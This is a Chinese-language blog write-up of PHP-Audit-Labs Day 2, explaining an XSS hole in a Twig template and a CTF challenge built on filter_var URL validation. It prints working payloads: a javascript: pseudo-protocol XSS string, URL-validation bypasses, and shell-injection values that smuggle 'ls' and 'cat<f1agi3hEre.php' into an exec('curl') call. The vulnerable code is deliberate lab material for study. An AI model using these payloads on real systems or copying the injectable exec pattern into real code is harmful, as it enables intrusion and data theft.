zoukankan      html  css  js  c++  java
  • PHP-Audit-Labs-Day2

    分析

    先看源码

    // composer require "twig/twig"
    require 'vendor/autoload.php';
    
    class Template {
      private $twig;
    
      public function __construct() {
        $indexTemplate = '<img ' .
          'src="https://loremflickr.com/320/240">' .
          '<a href="{{link|escape}}">Next slide &raquo;</a>';
    
        // Default twig setup, simulate loading
        // index.html file from disk
        $loader = new TwigLoaderArrayLoader([
          'index.html' => $indexTemplate
        ]);
        $this->twig = new TwigEnvironment($loader);
      }
    
      public function getNexSlideUrl() {
        $nextSlide = $_GET['nextSlide'];
        return filter_var($nextSlide, FILTER_VALIDATE_URL);
      }
    
      public function render() {
        echo $this->twig->render(
          'index.html',
          ['link' => $this->getNexSlideUrl()]
        );
      }
    }
    
    (new Template())->render();
    

    漏洞点在10行的escape和第22行的filter_var函数。他先是用Twig自带的escape过滤器对link进行过滤,但是escape过滤器的实现是使用了php的内置函数htmlspecialchars,看一下这个函数的用法:

    (PHP 4, PHP 5, PHP 7)
    htmlspecialchars — 将特殊字符转换为 HTML 实体
    

    转换的特殊字符如下:

    字符	替换后
    & (& 符号)	&amp;
    " (双引号)	&quot;,除非设置了 ENT_NOQUOTES
    ' (单引号)	设置了 ENT_QUOTES 后, &#039; (如果是 ENT_HTML401) ,或者 &apos; (如果是 ENT_XML1、 ENT_XHTML 或 ENT_HTML5)。
    < (小于)	&lt;
    > (大于)	&gt;
    

    示例

    <?php
    $new = htmlspecialchars("<a href='test'>Test</a>", ENT_QUOTES);
    echo $new; 
    

    结果是 <a href='test'>Test</a>
    接着是$nextSlide变量,使用GET方式接收,用户可控,但是使用了filter_var处理,看一下filter_var函数。

    (PHP 5 >= 5.2.0, PHP 7)
    filter_var — 使用特定的过滤器过滤一个变量
    filter_var(待过滤的参数,使用的过滤器)
    

    这里使用的是FILTER_VALIDATE_URL过滤器,FILTER_VALIDATE_URL 过滤器把值作为 URL 来验证。
    payload是用到了javascript伪协议。浓缩一下上面的源码:

    <?php
    $url = filter_var($_GET['url'],FILTER_VALIDATE_URL);
    var_dump($url);
    echo '<br>';
    $url = htmlspecialchars($url);
    var_dump($url);
    echo '<br>';
    echo "<a href='$url'>Next slide</a>";
    

    payload

    payload:
    ?url=javascript://comment%250aalert(123);
    

    结果

    我们看一下这个payload,在javascript中//代表单行注释,但是因为在alert(123)之前加了%0a,%0a是换行符,所以alert(123)与//不在一行。这里之所以将%0a改成%250a,是因为浏览器会进行一次编码,所以我们提前将%编码成%25,那么浏览器将

    ?url=javascript://comment%250aalert(123);
    

    解码成

    ?url=javascript://comment%0aalert(123);
    

    然后执行程序存储在$url变量里。

    修复建议

    对XSS漏洞最好就是过滤关键字,将特殊字符进行HTML实体编码替换

    Day02-CTF题解

    题目源码:

    // index.php
    <?php 
    $url = $_GET['url'];
    if(isset($url) && filter_var($url, FILTER_VALIDATE_URL)){
        $site_info = parse_url($url);
        if(preg_match('/sec-redclub.com$/',$site_info['host'])){
            exec('curl "'.$site_info['host'].'"', $result);
            echo "<center><h1>You have curl {$site_info['host']} successfully!</h1></center>
                  <center><textarea rows='20' cols='90'>";
            echo implode(' ', $result);
        }
        else{
            die("<center><h1>Error: Host not allowed</h1></center>");
        }
    
    }
    else{
        echo "<center><h1>Just curl sec-redclub.com!</h1></center><br>
              <center><h3>For example:?url=http://sec-redclub.com</h3></center>";
    }
    
    ?>
    // f1agi3hEre.php
    <?php  
    $flag = "HRCTF{f1lt3r_var_1s_s0_c00l}"
    ?>
    

    大致看一下源码,第7行exec执行curl命令,很容易能想到命令执行,$site_info['host']是对我们输入的url参数分解拿到的主机名,在第6行的正则匹配的时候,$site_info['host']必须是sec-redclub.com。源码的逻辑就是用户输入url参数,然后filter_var函数使用FILTER_VALIDATE_URL过滤器对url进行过滤,接着parse_url提取出主机名,如果主机名是sec-redclub.com则exec执行curl命令。
    先得绕过filter_var的FILTER_VALIDATE_URL过滤去,绕过方法:

    http://localhost/index.php?url=http://demo.com@sec-redclub.com
    http://localhost/index.php?url=http://demo.com&sec-redclub.com
    http://localhost/index.php?url=http://demo.com?sec-redclub.com
    http://localhost/index.php?url=http://demo.com/sec-redclub.com
    http://localhost/index.php?url=demo://demo.com,sec-redclub.com
    http://localhost/index.php?url=demo://demo.com:80;sec-redclub.com:80/
    http://localhost/index.php?url=http://demo.com#sec-redclub.com
    PS:最后一个payload的#符号,请换成对应的url编码 %23
    

    payload

    http://localhost/index.php?url=demo://%22;ls;%23;sec-redclub.com:80/
    

    payload解码后是

    http://localhost/index.php?url=demo://";ls;#;sec-redclub.com:80/
    

    直接用 cat f1agi3hEre.php 命令的时候,过不了 filter_var 函数检测,因为包含空格,具体payload如下:

    http://localhost/index.php?url=demo://%22;cat<f1agi3hEre.php;%23;sec-redclub.com:80/
    

    参考链接

    https://github.com/hongriSec/PHP-Audit-Labs/blob/master/Part1/Day2/files/README.md
    https://github.com/hongriSec/PHP-Audit-Labs/blob/master/PHP-Audit-Labs题解/Day1-4/files/README.md

  • 相关阅读:
    python文本处理
    转 Deep Learning for NLP 文章列举
    backpropagation
    开发者必备的6款源码搜索引擎 转
    转【面向代码】学习 Deep Learning(二)Deep Belief Nets(DBNs)
    Sampling
    各种形式的熵函数,KL距离
    [转] 如何在ie11里使用a连接创建动态下载文件流
    修改chrome背景色
    [转] 使用 Spring 5 的 WebFlux 开发反应式 Web 应用
  • 原文地址:https://www.cnblogs.com/HelloCTF/p/13526346.html
Copyright © 2011-2022 走看看